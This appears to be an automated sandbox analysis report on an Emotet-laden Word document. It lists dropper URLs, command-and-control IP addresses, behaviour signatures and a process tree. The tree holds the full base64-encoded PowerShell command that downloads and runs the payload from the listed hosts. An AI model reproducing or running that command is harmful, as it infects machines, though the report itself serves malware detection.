Analysis

  • max time kernel
    64s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    31/07/2020, 07:26

General

  • Target
    ST_74413177.doc
  • Size 170KB
  • Sample200731-61367qsfre
  • SHA256 fce4f8a710e0b5c70dbefba56be92297a5ca5ccc6fbf5494dbf017f1e8abc24b
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://mktf.mx/wp-includes/nf_p0w_z87k/

  • exe.dropper

    http://dragonfang.com/nav/pu_4cz89_3e81ooa90c/

  • exe.dropper

    http://maxiquim.cl/cgi-bin/qa0_i_qzk/

  • exe.dropper

    https://www.planetkram.com/egherdbaseball/z_xu00_9hbk939elw/

  • exe.dropper

    http://meulocal.com.br/suspend-page/0e_wt5bq_ekn/

Extracted

Family
  • emotet

C2
  • 47.146.117.214:80

  • 62.108.54.22:8080

  • 212.51.142.238:8080

  • 190.160.53.126:80

  • 87.106.136.232:8080

  • 74.208.45.104:8080

  • 121.124.124.40:7080

  • 124.45.106.173:443

  • 76.27.179.47:80

  • 210.165.156.91:80

  • 61.19.246.238:443

  • 81.2.235.111:8080

  • 169.239.182.217:8080

  • 181.230.116.163:80

  • 139.130.242.43:80

  • 46.105.131.87:80

  • 139.59.60.244:8080

  • 222.214.218.37:4143

  • 41.60.200.34:80

  • 200.55.243.138:8080

rsa_pubkey.plain

Signatures

  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ST_74413177.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:1312
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABWAEcASgBLAFgAbQB4AGUAPQAnAEQARQBWAFIAVgB4AGgAbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBgAFUAUgBgAEkAdAB5AHAAcgBvAHQAbwBjAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEwASwBGAFIATQBkAHAAZAAgAD0AIAAnADEANAAnADsAJABBAEEASABOAFkAYgBuAGgAPQAnAFQAQgBNAE8AQgBhAGcAZwAnADsAJABGAFoAUgBWAEkAdQBtAHMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEwASwBGAFIATQBkAHAAZAArACcALgBlAHgAZQAnADsAJABWAEMARQBYAEUAbQBpAG8APQAnAFQATwBIAEsAWQBkAHEAYwAnADsAJABJAFoASwBYAEsAdwBzAHoAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAEIAYwBsAGkAZQBOAHQAOwAkAFYASQBDAFoAUgBzAHkAcgA9ACcAaAB0AHQAcAA6AC8ALwBtAGsAdABmAC4AbQB4AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AbgBmAF8AcAAwAHcAXwB6ADgANwBrAC8AKgBoAHQAdABwADoALwAvAGQAcgBhAGcAbwBuAGYAYQBuAGcALgBjAG8AbQAvAG4AYQB2AC8AcAB1AF8ANABjAHoAOAA5AF8AMwBlADgAMQBvAG8AYQA5ADAAYwAvACoAaAB0AHQAcAA6AC8ALwBtAGEAeABpAHEAdQBpAG0ALgBjAGwALwBjAGcAaQAtAGIAaQBuAC8AcQBhADAAXwBpAF8AcQB6AGsALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHAAbABhAG4AZQB0AGsAcgBhAG0ALgBjAG8AbQAvAGUAZwBoAGUAcgBkAGIAYQBzAGUAYgBhAGwAbAAvAHoAXwB4AHUAMAAwAF8AOQBoAGIAawA5ADMAOQBlAGwAdwAvACoAaAB0AHQAcAA6AC8ALwBtAGUAdQBsAG8AYwBhAGwALgBjAG8AbQAuAGIAcgAvAHMAdQBzAHAAZQBuAGQALQBwAGEAZwBlAC8AMABlAF8AdwB0ADUAYgBxAF8AZQBrAG4ALwAnAC4AIgBTAGAAUABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE4AVABMAEkASwBlAGcAawA9ACcAUgBRAFUAUgBQAHIAYgBzACcAOwBmAG8AcgBlAGEAYwBoACgAJABMAE8AUABEAEUAcwBiAG4AIABpAG4AIAAkAFYASQBDAFoAUgBzAHkAcgApAHsAdAByAHkAewAkAEkAWgBLAFgASwB3AHMAegAuACIARABvAHcAbgBgAEwAYABPAEEAZABgAEYASQBMAEUAIgAoACQATABPAFAARABFAHMAYgBuACwAIAAkAEYAWgBSAFYASQB1AG0AcwApADsAJABUAEMAVgBWAEUAawBnAHQAPQAnAEkASgBDAEoAWAB5AGkAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEYAWgBSAFYASQB1AG0AcwApAC4AIgBsAGAAZQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMgA5ADYAMAA3ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBFAGEAYABUAEUAIgAoACQARgBaAFIAVgBJAHUAbQBzACkAOwAkAE4AUgBBAFEAVABmAHEAeAA9ACcAQwBaAFEASgBHAGUAeAB6ACcAOwBiAHIAZQBhAGsAOwAkAFMATwBCAEIAUQBtAHkAYgA9ACcASQBUAFYASgBXAGUAZwBmACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQATABDAFAATgBtAGYAcgA9ACcAUwBaAFcARQBBAHkAbABhACcA
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious use of AdjustPrivilegeToken
    PID:1052
  • C:\Users\Admin\14.exe
    C:\Users\Admin\14.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • Executes dropped EXE
    • Drops file in System32 directory
    PID:1852
    • C:\Windows\SysWOW64\apss\mfreadwrite.exe
      "C:\Windows\SysWOW64\apss\mfreadwrite.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:1800

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1312-2-0x0000000008930000-0x0000000008934000-memory.dmp

        memory/1312-4-0x000000000AD80000-0x000000000AD84000-memory.dmp

        memory/1312-5-0x000000000BE00000-0x000000000BE04000-memory.dmp

        memory/1852-8-0x0000000000240000-0x000000000024C000-memory.dmp